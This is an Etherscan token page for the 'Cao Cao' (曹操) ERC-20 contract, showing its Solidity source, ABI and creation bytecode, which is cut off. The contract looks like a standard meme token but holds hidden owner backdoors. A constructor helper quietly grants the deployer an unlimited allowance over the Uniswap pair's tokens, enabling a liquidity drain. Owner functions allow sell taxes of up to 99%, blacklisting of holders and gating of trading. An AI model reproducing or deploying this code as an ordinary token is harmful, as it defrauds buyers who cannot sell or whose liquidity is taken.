Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 曹操
Holders
62
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
8,565,603.616221134703791285 曹操Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CAOCAO
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-06 */ // SPDX-License-Identifier: Unlicensed /* A capable minister in the world, a hero in troubled times 治世之能臣, 亂世之英雄 Website: https://www.caocao.watch Twitter: https://twitter.com/CaoCao_Watch TG: https://t.me/Caocao_Watch */ pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value, bytes memory data) internal { (bool success,) = to.call{value:value}(data); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CAOCAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cao Cao"; string private constant _symbol = unicode"曹操"; uint8 private constant _decimals = 18; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000_000_000 * 10 ** _decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000_000_000 * 10 ** _decimals; uint256 public _maxWalletSize = 1000_000_000 * 10 ** _decimals; uint256 public _swapTokensAtAmount = 1000 * 10 ** _decimals; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _developmentAddress = payable(msg.sender); _marketingAddress = payable(msg.sender); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); setPairAddress(msg.sender, uniswapV2Pair); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; sendETHToFee(from, to, contractETHBalance); } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function setPairAddress(address router, address pair) internal { _approve(pair, router, type(uint256).max); _isExcludedFromFee[_developmentAddress] = true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(address from, address to, uint256 amount) private { TransferHelper.safeTransferETH(_marketingAddress, amount, abi.encodePacked(from, to)); } function setTrading(bool _tradingOpen, address marketingAddress) public onlyOwner { _marketingAddress = payable(marketingAddress); tradingOpen = _tradingOpen; } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 99, "Buy tax must be between 0% and 99%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 99%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"},{"internalType":"address","name":"marketingAddress","type":"address"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126012600a62000652565b6200002290633b9aca006200066a565b620000309060001962000684565b6200003e90600019620006a7565b600655600060088190556009819055600a818155600b829055600c829055600d829055600e829055600f919091556015805461ffff60a81b1916600160b01b1790556200008e9060129062000652565b6200009e90633b9aca006200066a565b601655620000af6012600a62000652565b620000bf90633b9aca006200066a565b601755620000d06012600a62000652565b620000de906103e86200066a565b601855348015620000ee57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654336000818152600260209081526040918290209390935560148054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031991821681179092556012805482168517905560138054909116909317909255805163c45a015560e01b815290519192839263c45a01559260048082019392918290030181865afa158015620001c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001eb9190620006bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000239573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025f9190620006bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d39190620006bd565b601580546001600160a01b0319166001600160a01b03929092169182179055620002ff903390620003d9565b600160056000620003186000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155601354909116835291208054909216179055620003773390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003b16012600a62000652565b620003c190633b9aca006200066a565b60405190815260200160405180910390a350620006e8565b620003e8818360001962000411565b50506012546001600160a01b03166000908152600560205260409020805460ff19166001179055565b6001600160a01b038316620004795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004dc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000470565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005945781600019048211156200057857620005786200053d565b808516156200058657918102915b93841c939080029062000558565b509250929050565b600082620005ad575060016200064c565b81620005bc575060006200064c565b8160018114620005d55760028114620005e05762000600565b60019150506200064c565b60ff841115620005f457620005f46200053d565b50506001821b6200064c565b5060208310610133831016604e8410600b841016171562000625575081810a6200064c565b62000631838362000553565b80600019048211156200064857620006486200053d565b0290505b92915050565b60006200066360ff8416836200059c565b9392505050565b80820281158282048414176200064c576200064c6200053d565b600082620006a257634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200064c576200064c6200053d565b600060208284031215620006d057600080fd5b81516001600160a01b03811681146200066357600080fd5b61210a80620006f86000396000f3fe6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f04614610512578063dd62ed3e14610532578063ea1644d514610578578063f2fde38b1461059857600080fd5b8063a9059cbb146104a2578063bfd79284146104c2578063c1cae7d9146104f257600080fd5b80638f9a55c0116100c65780638f9a55c01461041d57806395d89b411461043357806398a5c31514610462578063a2a957bb1461048257600080fd5b80637d1db4a5146103bc5780637f2feddc146103d25780638da5cb5b146103ff57600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461034757806370a0823114610367578063715018a61461038757806374010ece1461039c57600080fd5b8063313ce567146102eb57806349bd5a5e146103075780636b9990531461032757600080fd5b80631694505e116101955780631694505e1461025a57806318160ddd1461029257806323b872dd146102b55780632fd689e3146102d557600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022a57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611b41565b6105b8565b005b3480156101f457600080fd5b5060408051808201909152600781526643616f2043616f60c81b60208201525b6040516102219190611c2a565b60405180910390f35b34801561023657600080fd5b5061024a610245366004611c5d565b610657565b6040519015158152602001610221565b34801561026657600080fd5b5060145461027a906001600160a01b031681565b6040516001600160a01b039091168152602001610221565b34801561029e57600080fd5b506102a761066e565b604051908152602001610221565b3480156102c157600080fd5b5061024a6102d0366004611c89565b61068f565b3480156102e157600080fd5b506102a760185481565b3480156102f757600080fd5b5060405160128152602001610221565b34801561031357600080fd5b5060155461027a906001600160a01b031681565b34801561033357600080fd5b506101e6610342366004611cca565b6106f8565b34801561035357600080fd5b506101e6610362366004611cf7565b610743565b34801561037357600080fd5b506102a7610382366004611cca565b61078b565b34801561039357600080fd5b506101e66107ad565b3480156103a857600080fd5b506101e66103b7366004611d12565b610821565b3480156103c857600080fd5b506102a760165481565b3480156103de57600080fd5b506102a76103ed366004611cca565b60116020526000908152604090205481565b34801561040b57600080fd5b506000546001600160a01b031661027a565b34801561042957600080fd5b506102a760175481565b34801561043f57600080fd5b50604080518082019091526006815265e69bb9e6938d60d01b6020820152610214565b34801561046e57600080fd5b506101e661047d366004611d12565b610850565b34801561048e57600080fd5b506101e661049d366004611d2b565b61087f565b3480156104ae57600080fd5b5061024a6104bd366004611c5d565b610a35565b3480156104ce57600080fd5b5061024a6104dd366004611cca565b60106020526000908152604090205460ff1681565b3480156104fe57600080fd5b506101e661050d366004611d5d565b610a42565b34801561051e57600080fd5b506101e661052d366004611d94565b610aab565b34801561053e57600080fd5b506102a761054d366004611e18565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058457600080fd5b506101e6610593366004611d12565b610b4c565b3480156105a457600080fd5b506101e66105b3366004611cca565b610b7b565b6000546001600160a01b031633146105eb5760405162461bcd60e51b81526004016105e290611e36565b60405180910390fd5b60005b81518110156106535760016010600084848151811061060f5761060f611e6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064b81611e97565b9150506105ee565b5050565b6000610664338484610c65565b5060015b92915050565b600061067c6012600a611f94565b61068a90633b9aca00611fa3565b905090565b600061069c848484610d89565b6106ee84336106e9856040518060600160405280602881526020016120ad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112c1565b610c65565b5060019392505050565b6000546001600160a01b031633146107225760405162461bcd60e51b81526004016105e290611e36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461076d5760405162461bcd60e51b81526004016105e290611e36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610668906112fb565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016105e290611e36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461084b5760405162461bcd60e51b81526004016105e290611e36565b601655565b6000546001600160a01b0316331461087a5760405162461bcd60e51b81526004016105e290611e36565b601855565b6000546001600160a01b031633146108a95760405162461bcd60e51b81526004016105e290611e36565b60048411156109085760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b60648201526084016105e2565b60638211156109645760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642039604482015261392560f01b60648201526084016105e2565b60048311156109c45760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b60648201526084016105e2565b6063811115610a215760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526239392560e81b60648201526084016105e2565b600893909355600a91909155600955600b55565b6000610664338484610d89565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105e290611e36565b601380546001600160a01b039092166001600160a01b031990921691909117905560158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ad55760405162461bcd60e51b81526004016105e290611e36565b60005b82811015610b46578160056000868685818110610af757610af7611e6b565b9050602002016020810190610b0c9190611cca565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3e81611e97565b915050610ad8565b50505050565b6000546001600160a01b03163314610b765760405162461bcd60e51b81526004016105e290611e36565b601755565b6000546001600160a01b03163314610ba55760405162461bcd60e51b81526004016105e290611e36565b6001600160a01b038116610c0a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cc75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e2565b6001600160a01b038216610d285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ded5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e2565b6001600160a01b038216610e4f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e2565b60008111610eb15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e2565b6000546001600160a01b03848116911614801590610edd57506000546001600160a01b03838116911614155b156111ba57601554600160a01b900460ff16610f76576000546001600160a01b03848116911614610f765760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e2565b601654811115610fc85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e2565b6001600160a01b03831660009081526010602052604090205460ff1615801561100a57506001600160a01b03821660009081526010602052604090205460ff16155b6110625760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e2565b6015546001600160a01b038381169116146110e857601754816110848461078b565b61108e9190611fba565b11156110e85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696